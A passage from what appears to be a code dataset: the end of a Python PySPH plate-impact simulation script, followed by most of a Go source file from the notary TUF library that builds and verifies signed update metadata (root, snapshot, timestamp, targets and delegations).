G1)\n pa.add_constant('n', 4)\n\n kernel = Gaussian(dim=3)\n wdeltap = kernel.kernel(rij=dx, h=hdx*dx)\n pa.add_constant('wdeltap', wdeltap)\n # load balancing properties\n pa.set_lb_props( list(pa.properties.keys()) )\n\n # removed S_00 and similar components\n plate.v[:]=0.0\n return plate\n\nclass Impact(Application):\n def create_particles(self):\n plate = get_plate_particles()\n projectile = get_projectile_particles()\n\n return [plate, projectile]\n\n def create_solver(self):\n dim=3\n kernel = Gaussian(dim=dim)\n #kernel = WendlandQuintic(dim=dim)\n\n integrator = EPECIntegrator(projectile=SolidMechStep(), plate=SolidMechStep())\n solver = Solver(kernel=kernel, dim=dim, integrator=integrator)\n\n dt = 1e-9\n tf = 8e-6\n solver.set_time_step(dt)\n solver.set_final_time(tf)\n solver.set_print_freq(100)\n return solver\n\n def create_equations(self):\n equations = [\n\n # update smoothing length\n # Group(\n # equations = [\n # UpdateSmoothingLengthFromVolume(dest='plate', sources=['plate', 'projectile'], dim=dim, k=hdx),\n # UpdateSmoothingLengthFromVolume(dest='projectile', sources=['plate', 'projectile'], dim=dim, k=hdx),\n # ],\n # update_nnps=True,\n # ),\n\n # compute properties from the current state\n Group(\n equations = [\n # EOS (compute the pressure using one of the EOSs)\n\n #MieGruneisenEOS(dest='plate', sources=None, gamma=gamma1, r0=ro1 , c0=C1, S=S1),\n #MieGruneisenEOS(dest='projectile', sources=None, gamma=gamma2, r0=ro2 , c0=C2, S=S2),\n\n StiffenedGasEOS(dest='plate', sources=None, gamma=gamma1, r0=ro1 , c0=C1),\n StiffenedGasEOS(dest='projectile', sources=None, gamma=gamma2, r0=ro2 , c0=C2),\n\n # compute the velocity gradient tensor\n VelocityGradient3D(dest='plate', sources=['plate']),\n VelocityGradient3D(dest='projectile', sources=['projectile']),\n\n # # stress\n VonMisesPlasticity2D(dest='plate', sources=None, flow_stress=Yo1),\n VonMisesPlasticity2D(dest='projectile', sources=None, flow_stress=Yo2),\n\n # # artificial stress to avoid clumping\n MonaghanArtificialStress(dest='plate', sources=None, eps=0.3),\n MonaghanArtificialStress(dest='projectile', sources=None, eps=0.3),\n\n ]\n ),\n\n # accelerations (rho, u, v, ...)\n Group(\n equations = [\n\n # continuity equation\n ContinuityEquation(dest='plate', sources=['projectile','plate']),\n ContinuityEquation(dest='projectile', sources=['projectile','plate']),\n\n # momentum equation\n MomentumEquationWithStress(dest='projectile', sources=['projectile','plate',]),\n MomentumEquationWithStress(dest='plate', sources=['projectile','plate',]),\n\n # energy equation:\n EnergyEquationWithStress(dest='plate', sources=['projectile','plate',],\n alpha=avisc_alpha, beta=avisc_beta, eta=avisc_eta),\n\n EnergyEquationWithStress(dest='projectile', sources=['projectile','plate',],\n alpha=avisc_alpha, beta=avisc_beta, eta=avisc_eta),\n\n #avisc\n MonaghanArtificialViscosity(dest='plate', sources=['projectile','plate'],\n alpha=avisc_alpha, beta=avisc_beta),\n\n MonaghanArtificialViscosity(dest='projectile', sources=['projectile','plate'],\n alpha=avisc_alpha, beta=avisc_beta),\n\n #updates to the stress term\n HookesDeviatoricStressRate(dest='plate', sources=None),\n HookesDeviatoricStressRate(dest='projectile', sources=None),\n\n #position stepping\n XSPHCorrection(dest='plate', sources=['plate'], eps=xsph_eps),\n XSPHCorrection(dest='projectile', sources=['projectile'], eps=xsph_eps),\n\n ]\n ),\n\n ] # End Group list\n\n return equations\n\n\nif __name__ == '__main__':\n app = Impact()\n app.run()\n"} {"text": "package tuf\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/docker/go/canonical/json\"\n\t\"github.com/theupdateframework/notary\"\n\n\t\"github.com/theupdateframework/notary/trustpinning\"\n\t\"github.com/theupdateframework/notary/tuf/data\"\n\t\"github.com/theupdateframework/notary/tuf/signed\"\n\t\"github.com/theupdateframework/notary/tuf/utils\"\n)\n\n// ErrBuildDone is returned when any functions are called on RepoBuilder, and it\n// is already finished building\nvar ErrBuildDone = fmt.Errorf(\n\t\"the builder has finished building and cannot accept any more input or produce any more output\")\n\n// ErrInvalidBuilderInput is returned when RepoBuilder.Load is called\n// with the wrong type of metadata for the state that it's in\ntype ErrInvalidBuilderInput struct{ msg string }\n\nfunc (e ErrInvalidBuilderInput) Error() string {\n\treturn e.msg\n}\n\n// ConsistentInfo is the consistent name and size of a role, or just the name\n// of the role and a -1 if no file metadata for the role is known\ntype ConsistentInfo struct {\n\tRoleName data.RoleName\n\tfileMeta data.FileMeta\n}\n\n// ChecksumKnown determines whether or not we know enough to provide a size and\n// consistent name\nfunc (c ConsistentInfo) ChecksumKnown() bool {\n\t// empty hash, no size : this is the zero value\n\treturn len(c.fileMeta.Hashes) > 0 || c.fileMeta.Length != 0\n}\n\n// ConsistentName returns the consistent name (rolename.sha256) for the role\n// given this consistent information\nfunc (c ConsistentInfo) ConsistentName() string {\n\treturn utils.ConsistentName(c.RoleName.String(), c.fileMeta.Hashes[notary.SHA256])\n}\n\n// Length returns the expected length of the role as per this consistent\n// information - if no checksum information is known, the size is -1.\nfunc (c ConsistentInfo) Length() int64 {\n\tif c.ChecksumKnown() {\n\t\treturn c.fileMeta.Length\n\t}\n\treturn -1\n}\n\n// RepoBuilder is an interface for an object which builds a tuf.Repo\ntype RepoBuilder interface {\n\tLoad(roleName data.RoleName, content []byte, minVersion int, allowExpired bool) error\n\tLoadRootForUpdate(content []byte, minVersion int, isFinal bool) error\n\tGenerateSnapshot(prev *data.SignedSnapshot) ([]byte, int, error)\n\tGenerateTimestamp(prev *data.SignedTimestamp) ([]byte, int, error)\n\tFinish() (*Repo, *Repo, error)\n\tBootstrapNewBuilder() RepoBuilder\n\tBootstrapNewBuilderWithNewTrustpin(trustpin trustpinning.TrustPinConfig) RepoBuilder\n\n\t// informative functions\n\tIsLoaded(roleName data.RoleName) bool\n\tGetLoadedVersion(roleName data.RoleName) int\n\tGetConsistentInfo(roleName data.RoleName) ConsistentInfo\n}\n\n// finishedBuilder refuses any more input or output\ntype finishedBuilder struct{}\n\nfunc (f finishedBuilder) Load(roleName data.RoleName, content []byte, minVersion int, allowExpired bool) error {\n\treturn ErrBuildDone\n}\nfunc (f finishedBuilder) LoadRootForUpdate(content []byte, minVersion int, isFinal bool) error {\n\treturn ErrBuildDone\n}\nfunc (f finishedBuilder) GenerateSnapshot(prev *data.SignedSnapshot) ([]byte, int, error) {\n\treturn nil, 0, ErrBuildDone\n}\nfunc (f finishedBuilder) GenerateTimestamp(prev *data.SignedTimestamp) ([]byte, int, error) {\n\treturn nil, 0, ErrBuildDone\n}\nfunc (f finishedBuilder) Finish() (*Repo, *Repo, error) { return nil, nil, ErrBuildDone }\nfunc (f finishedBuilder) BootstrapNewBuilder() RepoBuilder { return f }\nfunc (f finishedBuilder) BootstrapNewBuilderWithNewTrustpin(trustpin trustpinning.TrustPinConfig) RepoBuilder {\n\treturn f\n}\nfunc (f finishedBuilder) IsLoaded(roleName data.RoleName) bool { return false }\nfunc (f finishedBuilder) GetLoadedVersion(roleName data.RoleName) int { return 0 }\nfunc (f finishedBuilder) GetConsistentInfo(roleName data.RoleName) ConsistentInfo {\n\treturn ConsistentInfo{RoleName: roleName}\n}\n\n// NewRepoBuilder is the only way to get a pre-built RepoBuilder\nfunc NewRepoBuilder(gun data.GUN, cs signed.CryptoService, trustpin trustpinning.TrustPinConfig) RepoBuilder {\n\treturn NewBuilderFromRepo(gun, NewRepo(cs), trustpin)\n}\n\n// NewBuilderFromRepo allows us to bootstrap a builder given existing repo data.\n// YOU PROBABLY SHOULDN'T BE USING THIS OUTSIDE OF TESTING CODE!!!\nfunc NewBuilderFromRepo(gun data.GUN, repo *Repo, trustpin trustpinning.TrustPinConfig) RepoBuilder {\n\treturn &repoBuilderWrapper{\n\t\tRepoBuilder: &repoBuilder{\n\t\t\trepo: repo,\n\t\t\tinvalidRoles: NewRepo(nil),\n\t\t\tgun: gun,\n\t\t\ttrustpin: trustpin,\n\t\t\tloadedNotChecksummed: make(map[data.RoleName][]byte),\n\t\t},\n\t}\n}\n\n// repoBuilderWrapper embeds a repoBuilder, but once Finish is called, swaps\n// the embed out with a finishedBuilder\ntype repoBuilderWrapper struct {\n\tRepoBuilder\n}\n\nfunc (rbw *repoBuilderWrapper) Finish() (*Repo, *Repo, error) {\n\tswitch rbw.RepoBuilder.(type) {\n\tcase finishedBuilder:\n\t\treturn rbw.RepoBuilder.Finish()\n\tdefault:\n\t\told := rbw.RepoBuilder\n\t\trbw.RepoBuilder = finishedBuilder{}\n\t\treturn old.Finish()\n\t}\n}\n\n// repoBuilder actually builds a tuf.Repo\ntype repoBuilder struct {\n\trepo *Repo\n\tinvalidRoles *Repo\n\n\t// needed for root trust pininng verification\n\tgun data.GUN\n\ttrustpin trustpinning.TrustPinConfig\n\n\t// in case we load root and/or targets before snapshot and timestamp (\n\t// or snapshot and not timestamp), so we know what to verify when the\n\t// data with checksums come in\n\tloadedNotChecksummed map[data.RoleName][]byte\n\n\t// bootstrapped values to validate a new root\n\tprevRoot *data.SignedRoot\n\tbootstrappedRootChecksum *data.FileMeta\n\n\t// for bootstrapping the next builder\n\tnextRootChecksum *data.FileMeta\n}\n\nfunc (rb *repoBuilder) Finish() (*Repo, *Repo, error) {\n\treturn rb.repo, rb.invalidRoles, nil\n}\n\nfunc (rb *repoBuilder) BootstrapNewBuilder() RepoBuilder {\n\treturn &repoBuilderWrapper{RepoBuilder: &repoBuilder{\n\t\trepo: NewRepo(rb.repo.cryptoService),\n\t\tinvalidRoles: NewRepo(nil),\n\t\tgun: rb.gun,\n\t\tloadedNotChecksummed: make(map[data.RoleName][]byte),\n\t\ttrustpin: rb.trustpin,\n\n\t\tprevRoot: rb.repo.Root,\n\t\tbootstrappedRootChecksum: rb.nextRootChecksum,\n\t}}\n}\n\nfunc (rb *repoBuilder) BootstrapNewBuilderWithNewTrustpin(trustpin trustpinning.TrustPinConfig) RepoBuilder {\n\treturn &repoBuilderWrapper{RepoBuilder: &repoBuilder{\n\t\trepo: NewRepo(rb.repo.cryptoService),\n\t\tgun: rb.gun,\n\t\tloadedNotChecksummed: make(map[data.RoleName][]byte),\n\t\ttrustpin: trustpin,\n\n\t\tprevRoot: rb.repo.Root,\n\t\tbootstrappedRootChecksum: rb.nextRootChecksum,\n\t}}\n}\n\n// IsLoaded returns whether a particular role has already been loaded\nfunc (rb *repoBuilder) IsLoaded(roleName data.RoleName) bool {\n\tswitch roleName {\n\tcase data.CanonicalRootRole:\n\t\treturn rb.repo.Root != nil\n\tcase data.CanonicalSnapshotRole:\n\t\treturn rb.repo.Snapshot != nil\n\tcase data.CanonicalTimestampRole:\n\t\treturn rb.repo.Timestamp != nil\n\tdefault:\n\t\treturn rb.repo.Targets[roleName] != nil\n\t}\n}\n\n// GetLoadedVersion returns the metadata version, if it is loaded, or 1 (the\n// minimum valid version number) otherwise\nfunc (rb *repoBuilder) GetLoadedVersion(roleName data.RoleName) int {\n\tswitch {\n\tcase roleName == data.CanonicalRootRole && rb.repo.Root != nil:\n\t\treturn rb.repo.Root.Signed.Version\n\tcase roleName == data.CanonicalSnapshotRole && rb.repo.Snapshot != nil:\n\t\treturn rb.repo.Snapshot.Signed.Version\n\tcase roleName == data.CanonicalTimestampRole && rb.repo.Timestamp != nil:\n\t\treturn rb.repo.Timestamp.Signed.Version\n\tdefault:\n\t\tif tgts, ok := rb.repo.Targets[roleName]; ok {\n\t\t\treturn tgts.Signed.Version\n\t\t}\n\t}\n\n\treturn 1\n}\n\n// GetConsistentInfo returns the consistent name and size of a role, if it is known,\n// otherwise just the rolename and a -1 for size (both of which are inside a\n// ConsistentInfo object)\nfunc (rb *repoBuilder) GetConsistentInfo(roleName data.RoleName) ConsistentInfo {\n\tinfo := ConsistentInfo{RoleName: roleName} // starts out with unknown filemeta\n\tswitch roleName {\n\tcase data.CanonicalTimestampRole:\n\t\t// we do not want to get a consistent timestamp, but we do want to\n\t\t// limit its size\n\t\tinfo.fileMeta.Length = notary.MaxTimestampSize\n\tcase data.CanonicalSnapshotRole:\n\t\tif rb.repo.Timestamp != nil {\n\t\t\tinfo.fileMeta = rb.repo.Timestamp.Signed.Meta[roleName.String()]\n\t\t}\n\tcase data.CanonicalRootRole:\n\t\tswitch {\n\t\tcase rb.bootstrappedRootChecksum != nil:\n\t\t\tinfo.fileMeta = *rb.bootstrappedRootChecksum\n\t\tcase rb.repo.Snapshot != nil:\n\t\t\tinfo.fileMeta = rb.repo.Snapshot.Signed.Meta[roleName.String()]\n\t\t}\n\tdefault:\n\t\tif rb.repo.Snapshot != nil {\n\t\t\tinfo.fileMeta = rb.repo.Snapshot.Signed.Meta[roleName.String()]\n\t\t}\n\t}\n\treturn info\n}\n\nfunc (rb *repoBuilder) Load(roleName data.RoleName, content []byte, minVersion int, allowExpired bool) error {\n\treturn rb.loadOptions(roleName, content, minVersion, allowExpired, false, false)\n}\n\n// LoadRootForUpdate adds additional flags for updating the root.json file\nfunc (rb *repoBuilder) LoadRootForUpdate(content []byte, minVersion int, isFinal bool) error {\n\tif err := rb.loadOptions(data.CanonicalRootRole, content, minVersion, !isFinal, !isFinal, true); err != nil {\n\t\treturn err\n\t}\n\tif !isFinal {\n\t\trb.prevRoot = rb.repo.Root\n\t}\n\treturn nil\n}\n\n// loadOptions adds additional flags that should only be used for updating the root.json\nfunc (rb *repoBuilder) loadOptions(roleName data.RoleName, content []byte, minVersion int, allowExpired, skipChecksum, allowLoaded bool) error {\n\tif !data.ValidRole(roleName) {\n\t\treturn ErrInvalidBuilderInput{msg: fmt.Sprintf(\"%s is an invalid role\", roleName)}\n\t}\n\n\tif !allowLoaded && rb.IsLoaded(roleName) {\n\t\treturn ErrInvalidBuilderInput{msg: fmt.Sprintf(\"%s has already been loaded\", roleName)}\n\t}\n\n\tvar err error\n\tswitch roleName {\n\tcase data.CanonicalRootRole:\n\t\tbreak\n\tcase data.CanonicalTimestampRole, data.CanonicalSnapshotRole, data.CanonicalTargetsRole:\n\t\terr = rb.checkPrereqsLoaded([]data.RoleName{data.CanonicalRootRole})\n\tdefault: // delegations\n\t\terr = rb.checkPrereqsLoaded([]data.RoleName{data.CanonicalRootRole, data.CanonicalTargetsRole})\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch roleName {\n\tcase data.CanonicalRootRole:\n\t\treturn rb.loadRoot(content, minVersion, allowExpired, skipChecksum)\n\tcase data.CanonicalSnapshotRole:\n\t\treturn rb.loadSnapshot(content, minVersion, allowExpired)\n\tcase data.CanonicalTimestampRole:\n\t\treturn rb.loadTimestamp(content, minVersion, allowExpired)\n\tcase data.CanonicalTargetsRole:\n\t\treturn rb.loadTargets(content, minVersion, allowExpired)\n\tdefault:\n\t\treturn rb.loadDelegation(roleName, content, minVersion, allowExpired)\n\t}\n}\n\nfunc (rb *repoBuilder) checkPrereqsLoaded(prereqRoles []data.RoleName) error {\n\tfor _, req := range prereqRoles {\n\t\tif !rb.IsLoaded(req) {\n\t\t\treturn ErrInvalidBuilderInput{msg: fmt.Sprintf(\"%s must be loaded first\", req)}\n\t\t}\n\t}\n\treturn nil\n}\n\n// GenerateSnapshot generates a new snapshot given a previous (optional) snapshot\n// We can't just load the previous snapshot, because it may have been signed by a different\n// snapshot key (maybe from a previous root version). Note that we need the root role and\n// targets role to be loaded, because we need to generate metadata for both (and we need\n// the root to be loaded so we can get the snapshot role to sign with)\nfunc (rb *repoBuilder) GenerateSnapshot(prev *data.SignedSnapshot) ([]byte, int, error) {\n\tswitch {\n\tcase rb.repo.cryptoService == nil:\n\t\treturn nil, 0, ErrInvalidBuilderInput{msg: \"cannot generate snapshot without a cryptoservice\"}\n\tcase rb.IsLoaded(data.CanonicalSnapshotRole):\n\t\treturn nil, 0, ErrInvalidBuilderInput{msg: \"snapshot has already been loaded\"}\n\tcase rb.IsLoaded(data.CanonicalTimestampRole):\n\t\treturn nil, 0, ErrInvalidBuilderInput{msg: \"cannot generate snapshot if timestamp has already been loaded\"}\n\t}\n\n\tif err := rb.checkPrereqsLoaded([]data.RoleName{data.CanonicalRootRole}); err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\t// If there is no previous snapshot, we need to generate one, and so the targets must\n\t// have already been loaded. Otherwise, so long as the previous snapshot structure is\n\t// valid (it has a targets meta), we're good.\n\tswitch prev {\n\tcase nil:\n\t\tif err := rb.checkPrereqsLoaded([]data.RoleName{data.CanonicalTargetsRole}); err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\tif err := rb.repo.InitSnapshot(); err != nil {\n\t\t\trb.repo.Snapshot = nil\n\t\t\treturn nil, 0, err\n\t\t}\n\tdefault:\n\t\tif err := data.IsValidSnapshotStructure(prev.Signed); err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\trb.repo.Snapshot = prev\n\t}\n\n\tsgnd, err := rb.repo.SignSnapshot(data.DefaultExpires(data.CanonicalSnapshotRole))\n\tif err != nil {\n\t\trb.repo.Snapshot = nil\n\t\treturn nil, 0, err\n\t}\n\n\tsgndJSON, err := json.Marshal(sgnd)\n\tif err != nil {\n\t\trb.repo.Snapshot = nil\n\t\treturn nil, 0, err\n\t}\n\n\t// loadedNotChecksummed should currently contain the root awaiting checksumming,\n\t// since it has to have been loaded. Since the snapshot was generated using\n\t// the root and targets data (there may not be any) that that have been loaded,\n\t// remove all of them from rb.loadedNotChecksummed\n\tfor tgtName := range rb.repo.Targets {\n\t\tdelete(rb.loadedNotChecksummed, data.RoleName(tgtName))\n\t}\n\tdelete(rb.loadedNotChecksummed, data.CanonicalRootRole)\n\n\t// The timestamp can't have been loaded yet, so we want to cache the snapshot\n\t// bytes so we can validate the checksum when a timestamp gets generated or\n\t// loaded later.\n\trb.loadedNotChecksummed[data.CanonicalSnapshotRole] = sgndJSON\n\n\treturn sgndJSON, rb.repo.Snapshot.Signed.Version, nil\n}\n\n// GenerateTimestamp generates a new timestamp given a previous (optional) timestamp\n// We can't just load the previous timestamp, because it may have been signed by a different\n// timestamp key (maybe from a previous root version)\nfunc (rb *repoBuilder) GenerateTimestamp(prev *data.SignedTimestamp) ([]byte, int, error) {\n\tswitch {\n\tcase rb.repo.cryptoService == nil:\n\t\treturn nil, 0, ErrInvalidBuilderInput{msg: \"cannot generate timestamp without a cryptoservice\"}\n\tcase rb.IsLoaded(data.CanonicalTimestampRole):\n\t\treturn nil, 0, ErrInvalidBuilderInput{msg: \"timestamp has already been loaded\"}\n\t}\n\n\t// SignTimestamp always serializes the loaded snapshot and signs in the data, so we must always\n\t// have the snapshot loaded first\n\tif err := rb.checkPrereqsLoaded([]data.RoleName{data.CanonicalRootRole, data.CanonicalSnapshotRole}); err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tswitch prev {\n\tcase nil:\n\t\tif err := rb.repo.InitTimestamp(); err != nil {\n\t\t\trb.repo.Timestamp = nil\n\t\t\treturn nil, 0, err\n\t\t}\n\tdefault:\n\t\tif err := data.IsValidTimestampStructure(prev.Signed); err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\trb.repo.Timestamp = prev\n\t}\n\n\tsgnd, err := rb.repo.SignTimestamp(data.DefaultExpires(data.CanonicalTimestampRole))\n\tif err != nil {\n\t\trb.repo.Timestamp = nil\n\t\treturn nil, 0, err\n\t}\n\n\tsgndJSON, err := json.Marshal(sgnd)\n\tif err != nil {\n\t\trb.repo.Timestamp = nil\n\t\treturn nil, 0, err\n\t}\n\n\t// The snapshot should have been loaded (and not checksummed, since a timestamp\n\t// cannot have been loaded), so it is awaiting checksumming. Since this\n\t// timestamp was generated using the snapshot awaiting checksumming, we can\n\t// remove it from rb.loadedNotChecksummed. There should be no other items\n\t// awaiting checksumming now since loading/generating a snapshot should have\n\t// cleared out everything else in `loadNotChecksummed`.\n\tdelete(rb.loadedNotChecksummed, data.CanonicalSnapshotRole)\n\n\treturn sgndJSON, rb.repo.Timestamp.Signed.Version, nil\n}\n\n// loadRoot loads a root if one has not been loaded\nfunc (rb *repoBuilder) loadRoot(content []byte, minVersion int, allowExpired, skipChecksum bool) error {\n\troleName := data.CanonicalRootRole\n\n\tsignedObj, err := rb.bytesToSigned(content, data.CanonicalRootRole, skipChecksum)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// ValidateRoot validates against the previous root's role, as well as validates that the root\n\t// itself is self-consistent with its own signatures and thresholds.\n\t// This assumes that ValidateRoot calls data.RootFromSigned, which validates\n\t// the metadata, rather than just unmarshalling signedObject into a SignedRoot object itself.\n\tsignedRoot, err := trustpinning.ValidateRoot(rb.prevRoot, signedObj, rb.gun, rb.trustpin)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := signed.VerifyVersion(&(signedRoot.Signed.SignedCommon), minVersion); err != nil {\n\t\treturn err\n\t}\n\n\tif !allowExpired { // check must go at the end because all other validation should pass\n\t\tif err := signed.VerifyExpiry(&(signedRoot.Signed.SignedCommon), roleName); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\trootRole, err := signedRoot.BuildBaseRole(data.CanonicalRootRole)\n\tif err != nil { // this should never happen since the root has been validated\n\t\treturn err\n\t}\n\trb.repo.Root = signedRoot\n\trb.repo.originalRootRole = rootRole\n\treturn nil\n}\n\nfunc (rb *repoBuilder) loadTimestamp(content []byte, minVersion int, allowExpired bool) error {\n\troleName := data.CanonicalTimestampRole\n\n\ttimestampRole, err := rb.repo.Root.BuildBaseRole(roleName)\n\tif err != nil { // this should never happen, since it's already been validated\n\t\treturn err\n\t}\n\n\tsignedObj, err := rb.bytesToSignedAndValidateSigs(timestampRole, content)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsignedTimestamp, err := data.TimestampFromSigned(signedObj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := signed.VerifyVersion(&(signedTimestamp.Signed.SignedCommon), minVersion); err != nil {\n\t\treturn err\n\t}\n\n\tif !allowExpired { // check must go at the end because all other validation should pass\n\t\tif err := signed.VerifyExpiry(&(signedTimestamp.Signed.SignedCommon), roleName); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := rb.validateChecksumsFromTimestamp(signedTimestamp); err != nil {\n\t\treturn err\n\t}\n\n\trb.repo.Timestamp = signedTimestamp\n\treturn nil\n}\n\nfunc (rb *repoBuilder) loadSnapshot(content []byte, minVersion int, allowExpired bool) error {\n\troleName := data.CanonicalSnapshotRole\n\n\tsnapshotRole, err := rb.repo.Root.BuildBaseRole(roleName)\n\tif err != nil { // this should never happen, since it's already been validated\n\t\treturn err\n\t}\n\n\tsignedObj, err := rb.bytesToSignedAndValidateSigs(snapshotRole, content)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsignedSnapshot, err := data.SnapshotFromSigned(signedObj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := signed.VerifyVersion(&(signedSnapshot.Signed.SignedCommon), minVersion); err != nil {\n\t\treturn err\n\t}\n\n\tif !allowExpired { // check must go at the end because all other validation should pass\n\t\tif err := signed.VerifyExpiry(&(signedSnapshot.Signed.SignedCommon), roleName); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// at this point, the only thing left to validate is existing checksums - we can use\n\t// this snapshot to bootstrap the next builder if needed - and we don't need to do\n\t// the 2-value assignment since we've already validated the signedSnapshot, which MUST\n\t// have root metadata\n\trootMeta := signedSnapshot.Signed.Meta[data.CanonicalRootRole.String()]\n\trb.nextRootChecksum = &rootMeta\n\n\tif err := rb.validateChecksumsFromSnapshot(signedSnapshot); err != nil {\n\t\treturn err\n\t}\n\n\trb.repo.Snapshot = signedSnapshot\n\treturn nil\n}\n\nfunc (rb *repoBuilder) loadTargets(content []byte, minVersion int, allowExpired bool) error {\n\troleName := data.CanonicalTargetsRole\n\n\ttargetsRole, err := rb.repo.Root.BuildBaseRole(roleName)\n\tif err != nil { // this should never happen, since it's already been validated\n\t\treturn err\n\t}\n\n\tsignedObj, err := rb.bytesToSignedAndValidateSigs(targetsRole, content)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsignedTargets, err := data.TargetsFromSigned(signedObj, roleName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := signed.VerifyVersion(&(signedTargets.Signed.SignedCommon), minVersion); err != nil {\n\t\treturn err\n\t}\n\n\tif !allowExpired { // check must go at the end because all other validation should pass\n\t\tif err := signed.VerifyExpiry(&(signedTargets.Signed.SignedCommon), roleName); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tsignedTargets.Signatures = signedObj.Signatures\n\trb.repo.Targets[roleName] = signedTargets\n\treturn nil\n}\n\nfunc (rb *repoBuilder) loadDelegation(roleName data.RoleName, content []byte, minVersion int, allowExpired bool) error {\n\tdelegationRole, err := rb.repo.GetDelegationRole(roleName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// bytesToSigned checks checksum\n\tsignedObj, err := rb.bytesToSigned(content, roleName, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsignedTargets, err := data.TargetsFromSigned(signedObj, roleName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := signed.VerifyVersion(&(signedTargets.Signed.SignedCommon), minVersion); err != nil {\n\t\t// don't capture in invalidRoles because the role we received is a rollback\n\t\treturn err\n\t}\n\n\t// verify signature\n\tif err := signed.VerifySignatures(signedObj, delegationRole.BaseRole); err != nil {\n\t\trb.invalidRoles.Targets[roleName] = signedTargets\n\t\treturn err\n\t}\n\n\tif !allowExpired { // check must go at the end because all other validation should pass\n\t\tif err := signed.VerifyExpiry(&(signedTargets.Signed.SignedCommon), roleName); err != nil {\n\t\t\trb.invalidRoles.Targets[roleName] = signedTargets\n\t\t\treturn err\n\t\t}\n\t}\n\n\tsignedTargets.Signatures = signedObj.Signatures\n\trb.repo.Targets[roleName] = signedTargets\n\treturn nil\n}\n\nfunc (rb *repoBuilder) validateChecksumsFromTimestamp(ts *data.SignedTimestamp) error {\n\tsn, ok := rb.loadedNotChecksummed[data.CanonicalSnapshotRole]\n\tif ok {\n\t\t// by this point, the SignedTimestamp has been validated so it must have a snapshot hash\n\t\tsnMeta := ts.Signed.Meta[data.CanonicalSnapshotRole.String()].Hashes\n\t\tif err := data.CheckHashes(sn, data.CanonicalSnapshotRole.String(), snMeta); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdelete(rb.loadedNotChecksummed, data.CanonicalSnapshotRole)\n\t}\n\treturn nil\n}\n\nfunc (rb *repoBuilder) validateChecksumsFromSnapshot(sn *data.SignedSnapshot) error {\n\tvar goodRoles []data.RoleName\n\tfor roleName, loadedBytes := range rb.loadedNotChecksummed {\n\t\tswitch roleName {\n\t\tcase data.CanonicalSnapshotRole, data.CanonicalTimestampRole:\n\t\t\tbreak\n\t\tdefault:\n\t\t\tif err := data.CheckHashes(loadedBytes, roleName.String(), sn.Signed.Meta[roleName.String()].Hashes); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgoodRoles = append(goodRoles, roleName)\n\t\t}\n\t}\n\tfor _, roleName := range goodRoles {\n\t\tdelete(rb.loadedNotChecksummed, roleName)\n\t}\n\treturn nil\n}\n\nfunc (rb *repoBuilder) validateChecksumFor(content []byte, roleName data.RoleName) error {\n\t// validate the bootstrap checksum for root, if provided\n\tif roleName == data.CanonicalRootRole && rb.bootstrappedRootChecksum != nil {\n\t\tif err := data.CheckHashes(content, roleName.String(), rb.bootstrappedRootChecksum.Hashes); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// but we also want to cache the root content, so that when the snapshot is\n\t// loaded it is validated (to make sure everything in the repo is self-consistent)\n\tchecksums := rb.getChecksumsFor(roleName)\n\tif checksums != nil { // as opposed to empty, in which case hash check should fail\n\t\tif err := data.CheckHashes(content, roleName.String(), *checksums); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else if roleName != data.CanonicalTimestampRole {\n\t\t// timestamp is the only role which does not need to be checksummed, but\n\t\t// for everything else, cache the contents in the list of roles that have\n\t\t// not been checksummed by the snapshot/timestamp yet\n\t\trb.loadedNotChecksummed[roleName] = content\n\t}\n\n\treturn nil\n}\n\n// Checksums the given bytes, and if they validate, convert to a data.Signed object.\n// If a checksums are nil (as opposed to empty), adds the bytes to the list of roles that\n// haven't been checksummed (unless it's a timestamp, which has no checksum reference).\nfunc (rb *repoBuilder) bytesToSigned(content []byte, roleName data.RoleName, skipChecksum bool) (*data.Signed, error) {\n\tif !skipChecksum {\n\t\tif err := rb.validateChecksumFor(content, roleName); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// unmarshal to signed\n\tsignedObj := &data.Signed{}\n\tif err := json.Unmarshal(content, signedObj); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn signedObj, nil\n}\n\nfunc (rb *repoBuilder) bytesToSignedAndValidateSigs(role data.BaseRole, content []byte) (*data.Signed, error) {\n\n\tsignedObj, err := rb.bytesToSigned(content, role.Name, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// verify signature\n\tif err := signed.VerifySignatures(signedObj, role); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn signedObj, nil\n}\n\n// If the checksum reference (the loaded timestamp for the snapshot role, and\n// the loaded snapshot for every other role except timestamp and snapshot) is nil,\n// then return nil for the checksums, meaning that the checksum is not yet\n// available. If the checksum reference *is* loaded, then always returns the\n// Hashes object for the given role - if it doesn't exist, returns an empty Hash\n// object (against which any checksum validation would fail).\nfunc (rb *repoBuilder) getChecksumsFor(role data.RoleName) *data.Hashes {\n\tvar hashes data.Hashes\n\tswitch role {\n\tcase data.CanonicalTimestampRole:\n\t\treturn nil\n\tcase data.CanonicalSnapshotRole:\n\t\tif rb.repo.Timestamp == nil {\n\t\t\treturn nil\n\t\t}\n\t\thashes = 